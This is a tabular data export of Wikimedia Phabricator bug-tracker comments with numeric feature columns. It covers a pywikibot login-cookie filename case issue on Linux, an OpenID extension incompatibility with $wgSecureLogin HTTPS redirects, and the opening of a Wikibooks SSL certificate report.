267944,*-login.data can have case discrepency on Linux host,,,,1380948039,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
468081,*-login.data can have case discrepency on Linux host,,,,1433302483,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,92,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
267940,*-login.data can have case discrepency on Linux host,,,,1380948037,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
468079,*-login.data can have case discrepency on Linux host,,,,1433302475,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,92,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
267935,*-login.data can have case discrepency on Linux host,,,,1380948035,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
468078,*-login.data can have case discrepency on Linux host,,,,1433302468,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,92,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
267931,*-login.data can have case discrepency on Linux host,,,,1380948033,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
267925,*-login.data can have case discrepency on Linux host,"After thinking even more on this issue, even for those not using LDAP authentication \(which I would assume the majority are not using\), correct casing based on the user-config file shouldn't have undesirable effects: if you can log in with what's in the user config file then correctly saving the cookie file with that username shouldn't negatively impact anything. On the other hand if you do not save the cookie file with the same user name that is in the user-config file, but you continue to use the user-config file to generate the localPA variable, then you may have problems on case sensitive platforms.

If this fix seems to difficult \(I don't believe it to be\) or you're suspicious of the logic, you may want to place a warning in the setup instructions. I've added a comment on the wiki for userconfig.py that people using \*nix systems should be aware that by default mediawiki has uppercase user names.",,,1380948031,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.5,0.0,0.0,3.0,4.5,1.5,0.0,0.0,1.5,2.0,2.5,0.0,0.0,0.0,1.0,0.0,6.5,14.5,0.5,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.5,5.5,1.5,0.5,1.5,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,20.0,0.0,2.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,8.0,1.5,3.0,2.5,1.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,14.5,2.5,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,2.0,0.5,0.0,0.5,4.163819875776397,0.7160774008600095,"After thinking even more on this issue, even for those not using LDAP authentication \(which I would assume the majority are not using\), correct casing based on the user-config file shouldn't have undesirable effects: if you can log in with what's in the user config file then correctly saving the cookie file with that username shouldn't negatively impact anything. On the other hand if you do not save the cookie file with the same user name that is in the user-config file, but you continue to use the user-config file to generate the localPA variable, then you may have problems on case sensitive platforms.

If this fix seems to difficult \(I don't believe it to be\) or you're suspicious of the logic, you may want to place a warning in the setup instructions. I've added a comment on the wiki for userconfig.py that people using \*nix systems should be aware that by default mediawiki has uppercase user names."
267917,*-login.data can have case discrepency on Linux host,"After rereading the LDAP link, you're probably right in that the it's the actual mediawiki login that is forcing uppercase, nonetheless the file name that pywiki attempts to find should be case correct irrelevant of the username supplied or returned. My thought for that fix has to do with correctly saving the \*-login.data cookie with the username found in user-config.py.",,,1380948030,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,15.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,11.0,3.0,5.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,15.0,5.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,2.0,4.7727272727272725,0.7727272727272727,"After rereading the LDAP link, you're probably right in that the it's the actual mediawiki login that is forcing uppercase, nonetheless the file name that pywiki attempts to find should be case correct irrelevant of the username supplied or returned. My thought for that fix has to do with correctly saving the \*-login.data cookie with the username found in user-config.py."
267912,*-login.data can have case discrepency on Linux host,"It has very much to do with LDAP: http://www.mediawiki.org/wiki/Extension:LDAP\_Authentication/User\_Provided\_Information\#Capitalize\_user\_name\_as\_in\_LDAP

And it has very much to do with Linux: Linux path names are case sensitive. 

I reported the bug as it took me time to track down and perhaps someone else who has the misfortune of dealing with it will find this helpful.

The fact is that if I can login with a lower case name, and I can, then whatever pywiki stores should be in the same case, NOT what may be returned when the wiki user name is returned. The file name for \*-login.data should be the same case as what is stored in user-config.py

This is just good practice, especially on a case sensitive host like Linux.

Also, as mediawiki is authenticating against LDAP, whatever it stores as the username is irrelevant if it correctly authenticates. A further reason to enforce correct casing based on the user-config.py file.",,,1380948028,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,1.0,0.5,1.0,2.0,0.5,7.0,3.0,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,2.0,0.5,7.0,13.0,0.5,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,6.5,1.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,14.5,0.5,1.0,0.5,0.5,0.0,0.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,5.5,9.0,2.0,1.5,9.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,3.5,0.0,0.0,0.0,5.0,0.0,3.5,1.5,0.5,1.0,0.5,0.0,0.0,4.014775910364145,0.6922268907563025,"It has very much to do with LDAP: URL

And it has very much to do with Linux: Linux path names are case sensitive. 

I reported the bug as it took me time to track down and perhaps someone else who has the misfortune of dealing with it will find this helpful.

The fact is that if I can login with a lower case name, and I can, then whatever pywiki stores should be in the same case, NOT what may be returned when the wiki user name is returned. The file name for \*-login.data should be the same case as what is stored in user-config.py

This is just good practice, especially on a case sensitive host like Linux.

Also, as mediawiki is authenticating against LDAP, whatever it stores as the username is irrelevant if it correctly authenticates. A further reason to enforce correct casing based on the user-config.py file."
267906,*-login.data can have case discrepency on Linux host,"This has very little to do with Linux or LDAP, but rather has to do with the fact your username is 'James' and not 'james'. This is related to the 'first character is capitalized' convention on some wikis, but not all \(\!\).

However, we could probably check whether the name has changed when the user is logged in and emit a warning when this happens \(and/or store the cookie with the username as saved in the config file, but that could have some unintended consequences\).",,,1380948026,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,2.0,0.0,0.5,2.0,1.0,2.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,1.0,0.0,6.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.5,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,9.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,7.0,2.5,3.5,3.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,1.5,8.0,2.5,0.0,3.0,0.0,1.5,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.5,3.828242835595777,0.7483031674208145,"This has very little to do with Linux or LDAP, but rather has to do with the fact your username is 'James' and not 'james'. This is related to the 'first character is capitalized' convention on some wikis, but not all \(\!\).

However, we could probably check whether the name has changed when the user is logged in and emit a warning when this happens \(and/or store the cookie with the username as saved in the config file, but that could have some unintended consequences\)."
267899,*-login.data can have case discrepency on Linux host,Quick comment: \_loadCookies\(\) is in wikipedia.py on line 5534,,,1380948024,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.090909090909091,1.0,Quick comment: \_loadCookies\(\) is in wikipedia.py on line 5534
56512,E:OpenID needs to work with $wgSecureLogin,"Special:OpenIDXRDS returns URLs based on $wgCanonicalServer. But when it attempts to redirect the user to these URLs, the forceHTTPS cookie kicks in and triggers a redirect to the corresponding https URL, which then fails due to loss of POST data.

Chris suggests this be worked around somehow in OpenID rather than having core use a 307 redirect instead of a 302.

--------------------------
**Version**: master
**Severity**: normal",Low,25.0,1380039540,1698244594.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-USER-j7jwnj5chzo76nqqvgqc,False,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_description,declined,True,c2,3,True,False,False,3,True,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,1.0,13.0,1.0,2.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,1.0,13.0,8.0,0.0,0.0,0.0,1.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,4.2272727272727275,0.7045454545454546,"Special:OpenIDXRDS returns URLs based on $wgCanonicalServer. But when it attempts to redirect the user to these URLs, the forceHTTPS cookie kicks in and triggers a redirect to the corresponding https URL, which then fails due to loss of POST data.

Chris suggests this be worked around somehow in OpenID rather than having core use a 307 redirect instead of a 302.

--------------------------
**Version**: master
**Severity**: normal"
2217897,E:OpenID needs to work with $wgSecureLogin,Per {T322820}.,,,1698244594,,PHID-USER-j7jwnj5chzo76nqqvgqc,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,True,,,530,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6,1.0,Per {T322820}.
477200,E:OpenID needs to work with $wgSecureLogin,[Resetting task assignee to avoid cookie-licking. Please reclaim the task when you plan to actively work on this task. Thanks!],,,1434636534,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,True,,,94,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,11.0,4.0,0.0,7.0,0.0,0.0,4.0,0.0,11.0,4.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.8518518518518519,[Resetting task assignee to avoid cookie-licking. Please reclaim the task when you plan to actively work on this task. Thanks!]
258677,E:OpenID needs to work with $wgSecureLogin,"see also 
- https://www.mediawiki.org/wiki/Thread:Extension_talk:OpenID/Return_to_Special:Badtitle_instead_of_the_main_page_after_verification_has_succeeded
- https://www.mediawiki.org/wiki/Thread:Extension_talk:OpenID/https_site_and_Special:Badtitle

which appear to be related bug reports on the extension's talk page.",,,1395817143,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,False,,,30,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3043478260869565,0.8695652173913043,"see also 
- URL
- URL

which appear to be related bug reports on the extension's talk page."
258673,E:OpenID needs to work with $wgSecureLogin,"(In reply to comment #5)
> difficult issue. But let me add what I know.
> 
> * Since it was mentioned above, 307 redirects don't seem to work in FF or
> Chrome for this, otherwise I'd be happy to do that in core. 
> 
> * The issue seems to be that when the consumer does the XRDS querries, the
> provider gives back http:// urls, even with wgSecureLogin enabled.
> ...

> But that's about as far as I was able to get. So it may be a fix inside of
> the library

This is also my view of the story. But my current thinking is, it _could_ be fixed in the library.



Only as a remark, not related to this bug:

I found - and fixed in E:OpenID - already at least one other issue with the library (the library does not return a correct return value for certificate errors)",,,1380837599,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,1.0,2.0,3.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,3.0,0.0,7.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,2.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,17.0,0.0,2.0,9.0,0.0,0.0,0.0,1.0,3.0,0.0,2.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,3.33,0.61,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

QUOTE
QUOTE

This is also my view of the story. But my current thinking is, it _could_ be fixed in the library.



Only as a remark, not related to this bug:

I found - and fixed in E:OpenID - already at least one other issue with the library (the library does not return a correct return value for certificate errors)"
258668,E:OpenID needs to work with $wgSecureLogin,"I tried to hack on it for a couple hours while reviewing it, and it's a difficult issue. But let me add what I know.

* Since it was mentioned above, 307 redirects don't seem to work in FF or Chrome for this, otherwise I'd be happy to do that in core. 

* The issue seems to be that when the consumer does the XRDS querries, the provider gives back http:// urls, even with wgSecureLogin enabled. When it's hacked to only return https:// something else in the Auth library is failing. When I return both, it will POST to the https url, but later it gives throws an exception about a missmatch in the urls.

But that's about as far as I was able to get. So it may be a fix inside of the library, or it might be a fix for the return of Special:OpenIDXRDS.",,,1380837161,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,True,,,5,True,0.0,0.5,0.0,0.5,0.5,1.5,2.5,0.0,0.0,0.0,4.0,1.0,0.0,0.5,0.0,3.0,0.0,8.5,13.0,0.5,3.0,0.0,1.0,0.0,2.0,0.0,0.0,1.5,1.0,1.0,0.0,6.0,0.5,5.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,11.0,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.5,8.0,4.0,10.5,3.0,3.0,10.5,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,8.5,13.0,4.5,0.0,0.0,0.0,8.5,0.0,2.0,3.5,0.5,1.0,0.5,0.0,0.0,3.5148356054530874,0.681903234429297,"I tried to hack on it for a couple hours while reviewing it, and it's a difficult issue. But let me add what I know.

* Since it was mentioned above, 307 redirects don't seem to work in FF or Chrome for this, otherwise I'd be happy to do that in core. 

* The issue seems to be that when the consumer does the XRDS querries, the provider gives back http:// urls, even with wgSecureLogin enabled. When it's hacked to only return https:// something else in the Auth library is failing. When I return both, it will POST to the https url, but later it gives throws an exception about a missmatch in the urls.

But that's about as far as I was able to get. So it may be a fix inside of the library, or it might be a fix for the return of Special:OpenIDXRDS."
258663,E:OpenID needs to work with $wgSecureLogin,"perhaps better the other way around, you are right.

Can you help to fix it ?",,,1380809350,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,16.0,5.0,0.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.3157894736842106,0.9473684210526315,"perhaps better the other way around, you are right.

Can you help to fix it ?"
258658,E:OpenID needs to work with $wgSecureLogin,*** Bug 44353 has been marked as a duplicate of this bug. ***,,,1380809277,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 44353 has been marked as a duplicate of this bug. ***
258650,E:OpenID needs to work with $wgSecureLogin,"

*** This bug has been marked as a duplicate of bug 44353 ***",,,1380787870,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 44353 ***"
258643,E:OpenID needs to work with $wgSecureLogin,"This is a problem with the id provider has $wgSecureLogin enabled. Since the WMF is running $wgSecureLogin, we need the extension to work with this in order to deploy it.",,,1380233061,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,8.0,3.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.9166666666666665,0.7777777777777778,"This is a problem with the id provider has $wgSecureLogin enabled. Since the WMF is running $wgSecureLogin, we need the extension to work with this in order to deploy it."
56457,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","URL: https://zh.wikibooks.org/w/index.php?title=Special:用户登录&returnto=Wikibooks%3A首页&returntoquery=&fromhttp=1
Browser: Google Chrome 29.0.1547.66
OS: Microsoft Windows XP [5.1.2600]

--------------------------
**Version**: wmf-deployment
